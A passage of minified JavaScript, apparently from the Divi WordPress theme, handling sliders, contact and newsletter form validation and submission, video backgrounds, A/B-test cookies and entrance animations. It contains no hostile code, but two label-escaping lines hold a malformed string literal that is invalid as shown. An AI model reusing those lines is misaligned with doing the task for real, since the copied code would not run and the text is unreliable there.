t=parseFloat(n(this).innerHeight()),e=n(this).find(".et_pb_slide_image"),i=parseFloat(n(this).data("adjustedHeight")),c=isNaN(i)?0:i;t=c&&c<t?t-c:t,(r||s)&&(e.length?(o=r?parseFloat(e.css("margin-top")):parseFloat(e.css("margin-bottom")),o+=10):n(this).find(".et_pb_container").addClass("et_pb_no_image")),0!==n(this).find(".et_pb_slide_description").length&&0!==n(this).find(".et_pb_slide_description").html().trim().length||n(this).find(".et_pb_container").addClass("et_pb_empty_slide"),a<t&&(a=t)})),a+o<1?i.css("height",""):i.css("height","".concat(a+o,"px")),e.removeClass("et_pb_temp_slide"),e.filter(".et-pb-active-slide").find(".et_pb_slide_image").children("img").addClass("active")}))}!d.isBuilder&&(yt||mt&&at&&at.isEnabled())&&n("body").addClass("et_pb_recaptcha_enabled"),vt.length&&vt.each((function(){var t=n(this),e=t.find("form"),i=void 0!==t.data("redirect_url")?t.data("redirect_url"):"";e.find("input[type=checkbox]").on("change",(function(){var t=n(this),e=t.siblings("input[type=text]").first(),i=t.prop("checked");e.val(i?e.data("checked"):e.data("unchecked"))})),e.on("submit",(function(e){e.preventDefault();var a=n(this);if(!0!==a.data("submitted")){var o=a.find('input[type=text], .et_pb_checkbox_handle, .et_pb_contact_field[data-type="radio"], textarea, select'),r=a.find(".et_pb_contact_captcha"),s=t.find(".et-pb-contact-message"),c=void 0!==t.data("form_unique_num")?t.data("form_unique_num"):0,l=!1,_="",d="",p=[],u=[],h=n.Deferred();at&&t.hasClass("et_pb_recaptcha_enabled")?at.interaction("Divi/Module/ContactForm/".concat(c)).then((function(t){h.resolve(t)})):h.resolve(""),n.when(h).done((function(e){if(_="<ul>",o.removeClass("et_contact_error"),o.each((function(){var t=n(this),e=!1;"checkbox"===t.data("field_type")&&(e=t.parents(".et_pb_contact_field")).removeClass("et_contact_error"),"radio"===t.data("type")&&(e=(t=t.find('input[type="radio"]')).parents(".et_pb_contact_field"));var i,a=t.attr("id"),o=t.val(),r=t.siblings("label").first().text(),s=void 0!==t.data("field_type")?t.data("field_type"):"text",c=void 0!==t.data("required_mark")?t.data("required_mark"):"not_required",f=void 0!==t.data("original_id")?t.data("original_id"):"",h=!1;if("radio"===s){if(0!==e.find('input[type="radio"]').length){s="radio";var b=e.find('input[type="radio"]').first();c=void 0!==b.data("required_mark")?b.data("required_mark"):"not_required",o="",e.find('input[type="radio"]:checked')&&(o=e.find('input[type="radio"]:checked').val())}r=e.find(".et_pb_contact_form_label").text(),a=e.find('input[type="radio"]').first().attr("name"),f=e.attr("data-id"),0===e.find('input[type="radio"]:checked').length&&(h=!0)}if("checkbox"===s){if(o="",0!==e.find('input[type="checkbox"]').length){s="checkbox";var v=e.find(".et_pb_checkbox_handle");c=void 0!==v.data("required_mark")?v.data("required_mark"):"not_required",e.find('input[type="checked"]:checked')&&(o=[],e.find('input[type="checkbox"]:checked').each((function(){o.push(n(this).val())})),o=o.join(", "))}if(e.find(".et_pb_checkbox_handle").val(o),0===(r=e.find(".et_pb_contact_form_label").text()).trim().length){var m=e.find('.et_pb_contact_field_checkbox input[type="checkbox"]');if(m.length>0){var g=[];m.each((function(){g.push(n(this).val())})),0===(r=g.join(", ")).trim().length&&(r=et_pb_custom.wrong_checkbox)}}a=e.find(".et_pb_checkbox_handle").attr("name"),f=e.attr("data-id"),0===e.find('input[type="checkbox"]:checked').length&&(h=!0)}if(r=r.replace(/"/g,"""),t.is(":visible")||!t.parents("[data-conditional-logic]").length||"hidden"===t.attr("type")||"radio"===t.attr("type"))if("hidden"!==t.attr("type")&&"radio"!==t.attr("type")||t.parents(".et_pb_contact_field").is(":visible")){if(void 0!==a&&p.push({field_id:a,original_id:f,required_mark:c,field_type:s,field_label:r}),"required"!==c||""!==o&&!0!==h||t.is('[id^="et_pb_contact_et_number_"]')||(!1===e?t.addClass("et_contact_error"):e.addClass("et_contact_error"),l=!0,""===(i=r)&&(i=et_pb_custom.captcha),d+="<li>".concat(i,"</li>")),"email"===s){var w=o.trim().toLowerCase(),y=function(t){if(6>t.length)return!1;if(!1===function(t,e,n){var i=(t+"").indexOf("@",1);return-1!==i&&i}(t))return!1;var e=t.split("@",2),n=e[0],i=e[1];if(!/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/.test(n))return!1;if(/\.{2,}/.test(i))return!1;if(s(i," \t\n\r\0\v.")!==i)return!1;var a=i.split(".");if(2>a.length)return!1;for(var o in a){var r=a[o];if(s(r," \t\n\r\0\v-")!==r)return!1;if(!/^[a-z0-9-]+$/i.test(r))return!1}return!0;function s(t,e){var n=[" ","\n","\r","\t","\f","\v","\xa0","\u2000","\u2001","\u2002","\u2003","\u2004","\u2005","\u2006","\u2007","\u2008","\u2009","\u200a","\u200b","\u2028","\u2029","\u3000"].join(""),i=0,a=0;for(t+="",e&&(n=(e+"").replace(/([[\]().?/*{}+$^:])/g,"$1")),i=t.length,a=0;a<i;a++)if(-1===n.indexOf(t.charAt(a))){t=t.substring(a);break}for(a=(i=t.length)-1;a>=0;a--)if(-1===n.indexOf(t.charAt(a))){t=t.substring(0,a+1);break}return-1===n.indexOf(t.charAt(0))?t:""}}(w);""===w||r===w||y||(t.addClass("et_contact_error"),l=!0,y||(_+="<li>".concat(et_pb_custom.invalid,"</li>")))}}else u.push(f);else u.push(f)})),r.length&&""!==r.val()){var h=parseInt(r.data("first_digit")),b=parseInt(r.data("second_digit"));parseInt(r.val())!==h+b&&(_+="<li>".concat(et_pb_custom.wrong_captcha,"</li>"),l=!0,h=Math.floor(15*Math.random()+1),b=Math.floor(15*Math.random()+1),r.data("first_digit",h),r.data("second_digit",b),r.val(""),a.find(".et_pb_contact_captcha_question").empty().append("".concat(h," + ").concat(b)))}if(!l){a.data("submitted",!0);var v=a.attr("action"),m=a.serializeArray();m.push({name:"et_pb_contact_email_fields_".concat(c),value:JSON.stringify(p)}),m.push({name:"token",value:e}),u.length>0&&m.push({name:"et_pb_contact_email_hidden_fields_".concat(c),value:JSON.stringify(u)}),t.removeClass("et_animated").removeAttr("style").fadeTo("fast",.2,(function(){t.load("".concat(v," #").concat(t.attr("id"),"> *"),m,(function(e,a){if("error"===a){var o=n("#".concat(t.attr("id")),e);o.length>0&&t.html(o)}n(e).find(".et_pb_contact_error_text").length||(St(t,"con_goal"),""!==i&&(window.location.href=i)),t.fadeTo("fast",1)}))}))}_+="</ul>",""!==d&&("<ul></ul>"!==_&&(_='<p class="et_normal_padding">'.concat(et_pb_custom.contact_error_message,"</p>").concat(_)),d="<ul>".concat(d,"</ul>"),d="<p>".concat(et_pb_custom.fill_message,"</p>").concat(d),_=d+_),"<ul></ul>"!==_&&(s.html(_),t.parents(".et_pb_section_parallax").length&&t.parents(".et_pb_section_parallax").each((function(){!n(this).children(".et_parallax_bg").hasClass("et_pb_parallax_css")&&f.trigger("resize")})))}))}}))})),window.et_pb_play_overlayed_video=function(t){var e,i,a,o=t,r=o.closest(".et_pb_video_overlay"),s=o.closest(".et_pb_video, .et_main_video_container, .et_pb_video_wrap"),c=s.find("iframe"),l=c.length>0,_=s.find(".fb-video").length;if(l){if(_&&void 0!==c[2]&&(c=n(c[2])),i=(e=c.attr("src")).split("?"),-1!==e.indexOf("autoplay="))return;a=void 0!==i[1]?"".concat(i[0],"?autoplay=1&").concat(i[1]):"".concat(i[0],"?autoplay=1"),c.attr({src:a})}else s.find("video").get(0).play();r.fadeTo(500,0,(function(){n(this).css("display","none")}))},n("body").on("click",".et_pb_post .et_pb_video_overlay, .et_pb_video .et_pb_video_overlay, .et_pb_video_wrap .et_pb_video_overlay",(function(){var t=n(this);return et_pb_play_overlayed_video(t),!1})),window.et_pb_resize_section_video_bg=function(t){(void 0!==t?t.closest(".et_pb_section_video_bg"):n(".et_pb_section_video_bg")).each((function(){var t=n(this);x(t)&&(t.removeAttr("data-ratio"),t.find("video").removeAttr("style"));var e,i,a=t.find("video"),o=(a.prop("videoWidth")||parseInt(a.width()))/(a.prop("videoHeight")||parseInt(a.height())),r=t.find(".mejs-video, video, object").css("margin","0px"),s=t.closest(".et_pb_section_video").length?t.closest(".et_pb_section_video"):t.closest(".et_pb_slides"),c=s.innerWidth(),l=s.innerHeight();void 0!==t.attr("data-ratio")||isNaN(o)||t.attr("data-ratio",o),c/l<o?(e=l*o,i=l):(e=c,i=c/o),r.width(e).height(i),d.isBuilder&&setTimeout((function(){r.width(e).height(i)}),0)}))},window.et_pb_center_video=function(t){var e=void 0!==t?t:n(".et_pb_section_video_bg .mejs-video");e.length&&e.each((function(){var e=n(this);if(et_pb_adjust_video_margin(e),x(e)&&setTimeout((function(){et_pb_adjust_video_margin(e)}),0),void 0!==t&&t.closest(".et_pb_slider").length&&!t.closest(".et_pb_first_video").length)return!1}))},window.et_pb_adjust_video_margin=function(t){var e=0-t.width()/2;t.css("margin-left","".concat(e,"px"))};var Ct={};function kt(){var t=n(window).width();n(".nav li.et-reverse-direction-nav").removeClass("et-reverse-direction-nav"),n(".nav li li ul").each((function(){var e=n(this),i=e.width(),a=e.offset(),o=e.parents(".nav > li");a.left>t-i&&o.addClass("et-reverse-direction-nav")}))}function jt(t,e,n){n=n||t.data("et_waypoint_max_instances")||1;var i=t.data("et_waypoint")||[],a=(0,r.default)(window,["et_pb_custom","waypoints_options"]);if(a){var s=(0,r.default)(a,"context",[]);s&&(0,o.default)(s)&&(0,c.default)(s,(function(n){var i=t.closest(n);if(i.length>0)return e.context=i,!1}))}if(i.length<n){var l=t.waypoint(e);l&&l.length>0&&(i.push(l[0]),t.data("et_waypoint",i))}else for(var _=0;_<i.length;_++)i[_].context.refresh()}function Tt(t,e){var i=t.parents(".et_pb_section").index(),a=n(".et_pb_section").length-1,o=t.parents(".et_pb_row").index(),r=t.parents(".et_pb_section").children().length-1;return i===a&&o===r?"bottom-in-view":e}function Ot(t){for(var e=!1,n=[".et_pb_toggle_title",".mejs-container *",".et_pb_contact_field input",".et_pb_contact_field textarea",".et_pb_contact_field_checkbox *",".et_pb_contact_field_radio *",".et_pb_contact_captcha",".et_pb_tabs_controls a",".flex-control-nav *",".et_pb_menu__search-button",".et_pb_menu__close-search-button",".et_pb_menu__search-container *",".et_pb_fullwidth_header_scroll *"],i=0;i<n.length;i++)if(t.is(n[i])){e=!0;break}return e}function St(t,e,n){if(!d.isBuilder){var i=function(t){var e=t.attr("class"),n=parseInt(e.replace(/^.*et_pb_ab_goal_id-(\d+).*$/,"$1"));return isNaN(n)?0:n}(t),a=void 0===e?"con_goal":e;t.hasClass("et_pb_ab_goal")&&!nt[i][a]?Pt(a,i):void 0!==n&&n()}}function Pt(t,e,i,a,o){var r=void 0===e?et_pb_custom.page_id:e,c=void 0===i?zt(r):i,l=void 0===a?function(t){for(var e=0;e<et_pb_custom.ab_tests;e++)if(et_pb_custom.ab_tests[e].post_id===t)return et_pb_custom.ab_tests[e].test_id;return et_pb_custom.unique_test_id}(r):a,_=JSON.stringify({test_id:r,subject_id:c,record_type:t}),d="click_goal"===t||"con_short"===t?"":c;Mt(365,"et_pb_ab_".concat(t,"_").concat(r).concat(l).concat(d,"=true")),(0,s.default)(nt,[r,t],!0),n.ajax({type:"POST",url:et_pb_custom.ajaxurl,data:{action:"et_pb_update_stats_table",stats_data_array:_,et_ab_log_nonce:et_pb_custom.et_ab_log_nonce}}).always((function(){void 0!==o&&o()}))}function zt(t){var e=n("*[class*=et_pb_ab_subject_id-".concat(t,"_]"));return!(e.length<=0||n("html").is(".et_fb_preview_active--wireframe_preview"))&&e.attr("class").split("et_pb_ab_subject_id-")[1].split(" ")[0].split("_")[1]}function It(t){return n(".et_pb_ab_goal_id-".concat(t))}function At(){var t=f.width(),e="desktop";return t<=980&&t>767?e="tablet":t<=767&&(e="phone"),e}function Et(t,e){return Bt(t)==e}function Bt(t){return function(){for(var t=document.cookie.split("; "),e={},n=t.length-1;n>=0;n--){var i=t[n].split("=");e[i[0]]=i[1]}return e}()[t]}function Mt(t,e){var n,i,a=(n=24*t*60*60*1e3,(i=new Date).setTime(i.getTime()+n),"; expires=".concat(i.toUTCString()));document.cookie="".concat(e+a,"; path=/")}function Ht(){if(!window.et_is_fixed_nav)return 0;var t=void 0===n("#main-header").attr("data-fixed-height-onload")?0:n("#main-header").attr("data-fixed-height-onload");return window.et_is_fixed_nav?parseFloat(t):0}window.et_fix_slider_height=d.isBuilder?function(t){var e=t||k;if(e&&e.length){var n=e.data("address");Ct[n]||(Ct[n]=window.et_pb_debounce(xt,100)),Ct[n](t)}}:xt,kt(),et_pb_form_placeholders_init(n(".et_pb_comments_module #commentform")),n(".et-menu-nav ul.nav").each((function(t){et_duplicate_menu(n(this),n(this).closest(".et_pb_module").find("div .mobile_nav"),"mobile_menu".concat(t+1),"et_mobile_menu")})),n(".et_pb_menu, .et_pb_fullwidth_menu").each((function(){var t=n(this),e=t.data("bg_color");e&&t.find("ul").css({"background-color":e})})),P.on("click",(function(t){et_pb_submit_newsletter(n(this),t)})),z.on("keypress",(function(t){if(13===(t.which||t.keyCode)){var e=n(this).closest("form").find(".et_pb_newsletter_button");et_pb_submit_newsletter(e,t)}})),P.closest(".et_pb_newsletter").find("input[type=checkbox]").on("change",(function(){var t=n(this),e=t.siblings("input[type=text]").first(),i=t.prop("checked");e.val(i?e.data("checked"):e.data("unchecked"))})),window.et_pb_submit_newsletter=function(t,e){if(t.closest(".et_pb_login_form").length)St(t.closest(".et_pb_newsletter"),"con_goal");else{if(void 0!==e&&e.preventDefault(),n(".et_pb_feedburner_form").length>0){var i=n(".et_pb_feedburner_form input[name=uri]").val();return window.open("https://feedburner.google.com/fb/a/mailverify?uri=".concat(i),"et-feedburner-subscribe","scrollbars=yes,width=550,height=520"),!0}var a=t.closest(".et_pb_newsletter"),o=a.find('input[name="et_pb_signup_firstname"]'),r=a.find('input[name="et_pb_signup_lastname"]'),s=a.find('input[name="et_pb_signup_email"]'),c=a.find('input[name="et_pb_signup_list_id"]').val(),l=a.find(".et_pb_newsletter_error").hide(),_=a.find('input[name="et_pb_signup_provider"]').val(),d=a.find('input[name="et_pb_signup_account_name"]').val(),p=a.find('input[name="et_pb_signup_ip_address"]').val(),u=a.find('input[name="et_pb_signup_checksum"]').val(),h=a.find(".et_pb_newsletter_fields"),b=a.find(".et_pb_newsletter_success"),v=a.data("redirect_url"),m=a.data("redirect_query"),g={},w=[],y="<ul>",x="",C=h.find('input[type=text], .et_pb_checkbox_handle, .et_pb_contact_field[data-type="radio"], textarea, select').filter(".et_pb_signup_custom_field, .et_pb_signup_custom_field *");o.removeClass("et_pb_signup_error"),r.removeClass("et_pb_signup_error"),s.removeClass("et_pb_signup_error"),C.removeClass("et_contact_error"),l.html("");var k=!0,j=t.closest(".et_pb_newsletter_form form");if(j.length>0&&"function"==typeof j[0].reportValidity&&(k=j[0].reportValidity()),o.length>0&&!o.val()&&(o.addClass("et_pb_signup_error"),k=!1),r.length>0&&!r.val()&&(r.addClass("et_pb_signup_error"),k=!1),bt.test(s.val())||(s.addClass("et_pb_signup_error"),k=!1),k){if(C.each((function(){var t=n(this),e=!1;["checkbox","booleancheckbox"].includes(t.data("field_type"))&&(e=t.parents(".et_pb_contact_field")).removeClass("et_contact_error"),"radio"===t.data("type")&&(e=(t=t.find('input[type="radio"]')).parents(".et_pb_contact_field"));var i,a=t.data("id"),o=t.val(),r=t.siblings("label").first().text(),s=void 0!==t.data("field_type")?t.data("field_type"):"text",c=void 0!==t.data("required_mark")?t.data("required_mark"):"not_required",l=void 0!==t.data("original_id")?t.data("original_id"):"",d=!1;if(a||(a=t.data("original_id")),"radio"===s){if(0!==e.find('input[type="radio"]').length){var p=e.find('input[type="radio"]').first();c=void 0!==p.data("required_mark")?p.data("required_mark"):"not_required",o="",e.find('input[type="radio"]:checked')&&(o=e.find('input[type="radio"]:checked').val())}r=e.find(".et_pb_contact_form_label").text(),a=t.data("original_id"),n.isEmptyObject(o)||(g[a]=o),0===e.find('input[type="radio"]:checked').length&&(d=!0),o&&(g[a]=o)}else if(["checkbox","booleancheckbox"].includes(s)){if(o={},0!==e.find('input[type="checkbox"]').length){var u=e.find(".et_pb_checkbox_handle");c=void 0!==u.data("required_mark")?u.data("required_mark"):"not_required",e.find('input[type="checked"]:checked')&&e.find('input[type="checkbox"]:checked').each((function(){if("booleancheckbox"===s)o=n(this).val();else{var t=n(this).data("id");o[t]=n(this).val()}}))}if(0===(r=e.find(".et_pb_contact_form_label").text()).trim().length){var f=e.find('.et_pb_contact_field_checkbox input[type="checkbox"]');if(f.length>0){var h=[];f.each((function(){h.push(n(this).val())})),0===(r=h.join(", ")).trim().length&&(r=et_pb_custom.wrong_checkbox)}}a=e.attr("data-id"),n.isEmptyObject(o)||(g[a]=o),0===e.find('input[type="checkbox"]:checked').length&&(d=!0)}else if("ontraport"===_&&"select"===s){var b=t.find(":selected");g[a]=b.length>0?b.data("id"):o}else g[a]=o;if("mailchimp"===_&&["select","radio"].indexOf(s)>-1){var v=(b="select"===s?t.find(":selected"):e.find('input[type="radio"]:checked')).length>0?b.data("id"):null;null!==v&&(g[a]={},g[a][v]=o)}if(r=r.replace(/"/g,"""),t.is(":visible")||"hidden"===t.attr("type")||"radio"===t.attr("type"))if("hidden"!==t.attr("type")&&"radio"!==t.attr("type")||t.parents(".et_pb_contact_field").is(":visible")){if("required"!==c||""!==o&&!0!==d||(!1===e?t.addClass("et_contact_error"):e.addClass("et_contact_error"),k=!1,""===(i=r)&&(i=et_pb_custom.captcha),x+="<li>".concat(i,"</li>")),"email"===s){var m=o.trim().toLowerCase(),C=bt.test(m);""===m||r===m||C||(t.addClass("et_contact_error"),k=!1,C||(y+="<li>".concat(et_pb_custom.invalid,"</li>")))}}else w.push(a);else w.push(l)})),y+="</ul>",""!==x&&("<ul></ul>"!==y&&(y='<p class="et_normal_padding">'.concat(et_pb_custom.contact_error_message,"</p>").concat(y)),x="<ul>".concat(x,"</ul>"),x="<p>".concat(et_pb_custom.fill_message,"</p>").concat(x),y=x+y),"<ul></ul>"!==y)return l.html(y).show(),void(a.parents(".et_pb_section_parallax").length&&a.parents(".et_pb_section_parallax").each((function(){!n(this).children(".et_parallax_bg").hasClass("et_pb_parallax_css")&&f.trigger("resize")})));var T=n.Deferred();at&&a.hasClass("et_pb_recaptcha_enabled")?at.interaction("Divi/Module/EmailOptin/List/".concat(c)).then((function(t){T.resolve(t)})):T.resolve(""),n.when(T).done((function(t){n.ajax({type:"POST",url:et_pb_custom.ajaxurl,dataType:"json",data:{action:"et_pb_submit_subscribe_form",et_frontend_nonce:et_pb_custom.et_frontend_nonce,et_list_id:c,et_firstname:o.val(),et_lastname:r.val(),et_email:s.val(),et_provider:_,et_account:d,et_ip_address:p,et_custom_fields:g,et_hidden_fields:w,token:t,et_checksum:u},beforeSend:function(){a.find(".et_pb_newsletter_button").addClass("et_pb_button_text_loading").find(".et_subscribe_loader").show()},complete:function(){a.find(".et_pb_newsletter_button").removeClass("et_pb_button_text_loading").find(".et_subscribe_loader").hide()},success:function(t){t?(t.error&&l.show().append("<h2>").text(t.error),t.success&&(v?St(a,"con_goal",(function(){var t=function(){var t={};return m?(o.length>0&&m.indexOf("name")>-1&&(t.first_name=o.val()),r.length>0&&m.indexOf("last_name")>-1&&(t.last_name=r.val()),m.indexOf("email")>-1&&(t.email=s.val()),m.indexOf("ip_address")>-1&&(t.ip_address=a.data("ip_address")),m.indexOf("css_id")>-1&&(t.form_id=a.attr("id")),decodeURIComponent(n.param(t))):""}();t.length&&(v.indexOf("?")>-1?v+="&":v+="?"),window.location=v+t})):(St(a,"con_goal"),a.find(".et_pb_newsletter_fields").hide(),b.show()))):l.html(et_pb_custom.subscription_failed).show()}})}))}}},window.et_fix_testimonial_inner_width=function(){var t=n(window).width();t>959?n(".et_pb_testimonial").each((function(){if(n(this).is(":visible")){var t=n(this),e=t.find(".et_pb_testimonial_portrait"),i=e.outerWidth(!0)||0,a=t.find(".et_pb_testimonial_description"),o=t.closest(".et_pb_column");i>90&&(e.css("padding-bottom","0px"),e.width("90px"),e.height("90px"));var r=o.hasClass("et_pb_column_1_3")||o.hasClass("et_pb_column_1_4")||o.hasClass("et_pb_column_1_5")||o.hasClass("et_pb_column_1_6")||o.hasClass("et_pb_column_2_5")||o.hasClass("et_pb_column_3_8")?0:i;a.css("margin-left","".concat(r,"px"))}})):t>767?n(".et_pb_testimonial").each((function(){if(n(this).is(":visible")){var t=n(this),e=t.find(".et_pb_testimonial_portrait").outerWidth(!0)||0,i=t.find(".et_pb_testimonial_description"),a=t.closest(".et_pb_column"),o=a.hasClass("et_pb_column_1_4")||a.hasClass("et_pb_column_1_5")||a.hasClass("et_pb_column_1_6")||a.hasClass("et_pb_column_2_5")||a.hasClass("et_pb_column_3_8")?0:e;i.css("margin-left","".concat(o,"px"))}})):n(".et_pb_testimonial_description").removeAttr("style")},window.et_fix_testimonial_inner_width(),window.et_pb_video_background_init=function(t,e){var n=t.closest(".et_pb_section_video_bg"),i=!1,a=!0;e.onplaying=function(){i=!0,a=!1},e.onpause=function(){i=!1,a=!0},jt(n,{offset:"100%",handler:function(o){var r=n.hasClass("et_pb_video_play_outside_viewport");t.is(":visible")&&"down"===o?e.paused&&!i&&e.play():t.is(":visible")&&"up"===o&&(e.paused||a||r||e.pause())}},2),jt(n,{offset:function(){var t=this.element.clientHeight,e=Math.ceil(window.innerHeight/2);return t>e&&(e=t),-1*e},handler:function(o){var r=n.hasClass("et_pb_video_play_outside_viewport");t.is(":visible")&&"up"===o?e.paused&&!i&&e.play():t.is(":visible")&&"down"===o&&(e.paused||a||r||e.pause())}},2)},window.et_animate_element=function(t){var e=t;if(!e.hasClass("et_had_animation")){var i=e.attr("data-animation-style"),a=e.attr("data-animation-repeat"),o=e.attr("data-animation-duration"),r=e.attr("data-animation-delay"),s=e.attr("data-animation-intensity"),c=e.attr("data-animation-starting-opacity"),l=e.attr("data-animation-speed-curve"),_=e.parent(".et_pb_button_module_wrapper"),d=n("body").hasClass("edge");e.is(".et_pb_section")&&"roll"===i&&n("".concat(et_frontend_scripts.builderCssContainerPrefix,", ").concat(et_frontend_scripts.builderCssLayoutPrefix)).css("overflow-x","hidden"),et_remove_animation_data(e);var p=isNaN(parseInt(c))?0:.01*parseInt(c);-1===n.inArray(l,["linear","ease","ease-in","ease-out","ease-in-out"])&&(l="ease-in-out"),_.length>0&&(e.removeClass("et_animated"),(e=_).addClass("et_animated")),e.css({"animation-duration":o,"animation-delay":r,opacity:p,"animation-timing-function":l}),"slideTop"!==i&&"slideBottom"!==i||e.css("left","0px");for(var u={},f=isNaN(parseInt(s))?50:parseInt(s),h=["slide","zoom","flip","fold","roll"],b=!1,v=!1,m=0;m<h.length;m++){var g=h[m];if(i&&i.substr(0,g.length)===g){b=g,""!==(v=i.substr(g.length,i.length))&&(v=v.toLowerCase());break}}if(!1!==b&&!1!==v&&(u=function(t,e,n){var i={};switch(t){case"slide":switch(e){case"top":i={transform:"translate3d(0, ".concat(-2*n,"%, 0)")};break;case"right":i={transform:"translate3d(".concat(2*n,"%, 0, 0)")};break;case"bottom":i={transform:"translate3d(0, ".concat(2*n,"%, 0)")};break;case"left":i={transform:"translate3d(".concat(-2*n,"%, 0, 0)")};break;default:i={transform:"scale3d(".concat(a=.01*(100-n),", ").concat(a,", ").concat(a,")")}}break;case"zoom":var a;i={transform:"scale3d(".concat(a=.01*(100-n),", ").concat(a,", ").concat(a,")")};break;case"flip":switch(e){case"right":var o=Math.ceil(.9*n);i={transform:"perspective(2000px) rotateY(".concat(o,"deg)")};break;case"left":o=-1*Math.ceil(.9*n),i={transform:"perspective(2000px) rotateY(".concat(o,"deg)")};break;case"top":default:o=Math.ceil(.9*n),i={transform:"perspective(2000px) rotateX(".concat(o,"deg)")};break;case"bottom":o=-1*Math.ceil(.9*n),i={transform:"perspective(2000px) rotateX(".concat(o,"deg)")}}break;case"fold":switch(e){case"top":o=-1*Math.ceil(.9*n),i={transform:"perspective(2000px) rotateX(".concat(o,"deg)")};break;case"bottom":o=Math.ceil(.9*n),i={transform:"perspective(2000px) rotateX(".concat(o,"deg)")};break;case"left":o=Math.ceil(.9*n),i={transform:"perspective(2000px) rotateY(".concat(o,"deg)")};break;default:o=-1*Math.ceil(.9*n),i={transform:"perspective(2000px) rotateY(".concat(o,"deg)")}}break;case"roll":switch(e){case"right":case"bottom":o=-1*Math.ceil(3.6*n),i={transform:"rotateZ(".concat(o,"deg)")};break;case"top":case"left":o=Math.ceil(3.6*n),i={transform:"rotateZ(".concat(o,"deg)")};break;default:o=Math.ceil(3.6*n),i={transform:"rotateZ(".concat(o,"deg)")}}}return i}(b,v,f)),n.isEmptyObject(u)||e.css(d?n.extend(u,{transition:"transform 0s ease-in"}):u),e.addClass("et_animated"),e.addClass("et_is_animating"),e.addClass(i),e.addClass(a),!a){var w=parseInt(o),y=parseInt(r);setTimeout((function(){et_remove_animation(e)}),w+y),d&&!n.isEmptyObject(u)&&setTimeout((function(){e.css("transition","")}),w+y+50)}}},window.et_process_animation_data=function(t){if("undefined"!=typeof et_animation_data&&et_animation_data.length>0){n("body").css("overflow-x","hidden"),n("#page-container").css("overflow-y","hidden");for(var e=0;e<et_animation_data.length;e++){var i=et_animation_data[e];if(i.class&&i.style&&i.repeat&&i.duration&&i.delay&&i.intensity&&i.starting_opacity&&i.speed_curve){var a=n(".".concat(i.class)),o=At(),r="desktop"===o;it=o;var s="";r||(s+="_".concat(o));var c=r||void 0===i["style".concat(s)]?i.style:i["style".concat(s)],l=r||void 0===i["repeat".concat(s)]?i.repeat:i["repeat".concat(s)],_=r||void 0===i["duration".concat(s)]?i.duration:i["duration".concat(s)],d=r||void 0===i["delay".concat(s)]?i.delay:i["delay".concat(s)],p=r||void 0===i["intensity".concat(s)]?i.intensity:i["intensity".concat(s)],u=r||void 0===i["starting_opacity".concat(s)]?i.starting_opacity:i["starting_opacity".concat(s)],f=r||void 0===i["speed_curve".concat(s)]?i.speed_curve:i["speed_curve".concat(s)];a.attr({"data-animation-style":c,"data-animation-repeat":"once"===l?"":"infinite","data-animation-duration":_,"data-animation-delay":d,"data-animation-intensity":p,"data-animation-starting-opacity":u,"data-animation-speed-curve":f}),!0===t?a.hasClass("et_pb_circle_counter")?(jt(a,{offset:"100%",handler:function(){var t=n(this.element).find(".et_pb_circle_counter_inner");t.data("PieChartHasLoaded")||void 0===t.data("easyPieChart")||(t.data("easyPieChart").update(t.data("number-value")),t.data("PieChartHasLoaded",!0),et_animate_element(n(this.element)))}}),jt(a,{offset:"bottom-in-view",handler:function(){var t=n(this.element).find(".et_pb_circle_counter_inner");t.data("PieChartHasLoaded")||void 0===t.data("easyPieChart")||(t.data("easyPieChart").update(t.data("number-value")),t.data("PieChartHasLoaded",!0),et_animate_element(n(this.element)))}})):a.hasClass("et_pb_number_counter")?(jt(a,{offset:"100%",handler:function(){n(this.element).data("easyPieChart").update(n(this.element).data("number-value")),et_animate_element(n(this.element))}}),jt(a,{offset:"bottom-in-view",handler:function(){n(this.element).data("easyPieChart").update(n(this.element).data("number-value")),et_animate_element(n(this.element))}})):jt(a,{offset:"100%",handler:function(){et_animate_element(n(this.element))}}):et_animate_element(a)}}}},window.et_has_animation_data=function(t){var e=!1;if("undefined"!=typeof et_animation_data&&et_animation_data.length>0)for(var n=0;n<et_animation_data.length;n++){var i=et_animation_data[n];if(i.class&&t.hasClass(i.class)){e=!0;break}}return e},window.et_get_animation_classes=function(){return["et_animated","et_is_animating","infinite","et-waypoint","fade","fadeTop","fadeRight","fadeBottom","fadeLeft","slide","slideTop","slideRight","slideBottom","slideLeft","bounce","bounceTop","bounceRight","bounceBottom","bounceLeft","zoom","zoomTop","zoomRight","zoomBottom","zoomLeft","flip","flipTop","flipRight","flipBottom","flipLeft","fold","foldTop","foldRight","foldBottom","foldLeft","roll","rollTop","rollRight","rollBottom","rollLeft","transformAnim"]},window.et_remove_animation=function(t){if(!t.hasClass("infinite")){var e=et_get_animation_classes();t.is(".et_pb_section")&&t.is(".roll")&&n("".concat(et_frontend_scripts.builderCssContainerPrefix,", ").concat(et_frontend_scripts.builderCssLayoutPrefix)).css("overflow-x",""),t.removeClass(e.join(" ")),t.css({"animation-delay":"","animation-duration":"","animation-timing-function":"",opacity:"",transform:"",left:""}),t.addClass("et_had_animation")}},window.et_remove_animation_data=function(t){var e=[];if(!(0,a.default)(t.get(0))){for(var i=t.get(0).attributes,o=0;o<i.length;o++)"data-animation-"===i[o].name.substring(0,15)&&e.push(i[o].name);n.each(e,(function(e,n){t.removeAttr(n)}))}},window.et_reinit_waypoint_modules=et_pb_debounce((function(){var t=n(".et_pb_circle_counter"),e=n(".et_pb_number_counter"),a=n(".et_pb_section_video_bg video");if(n.fn.waypoint&&window.et_pb_custom&&"yes"!==window.et_pb_custom.ignore_waypoints&&!d.isBuilder)et_process_animation_data(!0),n(".et-waypoint").each((function(){jt(n(this),{offset:Tt(n(this),"100%"),handler:function(){n(this.element).addClass("et-animated")}},2)})),t.length&&t.each((function(){var t=n(this).find(".et_pb_circle_counter_inner");t.is(":visible")&&!et_has_animation_data(t)&&jt(t,{offset:Tt(n(this),"100%"),handler:function(){t.data("PieChartHasLoaded")||void 0===t.data("easyPieChart")||i||(t.data("easyPieChart").update(t.data("number-value")),t.data("PieChartHasLoaded",!0))}},2)})),e.length&&e.each((function(){var t=n(this);et_has_animation_data(t)||jt(t,{offset:Tt(n(this),"100%"),handler:function(){t.data("easyPieChart").update(t.data("number-value"))}})})),d.isBuilder||n.each(et_pb_custom.ab_tests,(function(t,e){var 